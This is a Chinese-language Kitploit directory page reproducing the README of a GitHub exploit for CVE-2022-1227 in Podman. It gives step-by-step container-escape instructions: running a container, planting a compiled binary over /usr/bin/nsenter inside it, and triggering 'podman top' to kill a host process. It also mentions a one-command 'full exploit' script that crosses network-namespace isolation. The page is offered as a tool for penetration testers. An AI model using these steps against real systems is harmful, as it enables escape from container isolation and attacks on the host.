Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-1227_Exploit — 用于利用CVE-2022-1227的脚本 | Kitploit
工具/GitHubGitHub/louisliunova/cve-2022-1227_exploit
权限提升漏洞分析漏洞利用渗透测试红队容器逃逸
GitHublouisliunova/cve-2022-1227_exploit

CVE-2022-1227_Exploit

用于利用CVE-2022-1227的脚本

查看仓库
1163年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-1227_Exploit

一个用于利用 CVE-2022-1227 的脚本。

背景

  • 推荐使用 Ubuntu 20.10。
  • Podman < 4.0.0;推荐使用 3.4.4。

TODO:添加此漏洞的原理说明

安装 Podman

按照官方文档中的说明操作: https://podman.io/getting-started/installation#installing-on-linux

对于 Ubuntu 20.10,安装命令应为:

sudo apt-get install podman=3.4.4+ds1-1ubuntu1

快速开始

简单利用

在本节中,我们尝试一个简单的 PoC,突破 PID 命名空间 的边界,并 kill 主机上的一个进程。

步骤如下:

  1. 使用以下命令运行一个容器:podman run --userns=keep-id --rm -d ubuntu:latest sleep infinity

  2. 运行 ./exp/bin 中的 keep,并获取其运行时的 PID。通常它会在终端上显示其 PID。由于该二进制文件设置为休眠 600 秒,你可能需要快速完成后续步骤。

    tems@tems-virtual-machine:~/Applications/CVE-2022-1227$ ./exp/bin/keep
    My process ID is: 7719
    Put this number to `PID` in the sendsig.c and compile!
    
  3. 编辑 ./exp/src/sendsig.c 中的源代码,将上一步获取的 PID 填入变量 pid。

    int pid = OLD_VAL;
    

    改为

    int pid = 7719;
    
  4. 将编译好的二进制文件放入 Podman 内部:podman cp ./exp/bin/sendsig $container_name:/usr/bin/nsenter

  5. 通过 podman top -l 运行 podman top 以触发漏洞。

  6. 如果一切顺利,正在运行的进程 keep 将立即被杀死。这很不寻常,因为通常情况下,由于 PID 命名空间隔离,容器内的进程无法向主机上的进程发送信号。

    tems@tems-virtual-machine:~/Applications/CVE-2022-1227$ ./keep
    My process ID is: 7719
    Killed
    

完整利用

在本节中,我们使用套接字实现容器内客户端与主机上服务器之间的进程间套接字通信,这在隔离机制完整时通常是不可能的。我们利用此漏洞突破网络命名空间的隔离来实现此利用。

首先,通过 cd ./exp 进入目录;

只需运行 ./exploit.sh,一切将自动完成;如果一切顺利,服务器将显示:

Hello from the container!

这意味着我们穿越了网络命名空间并实现了逃逸。

下载工具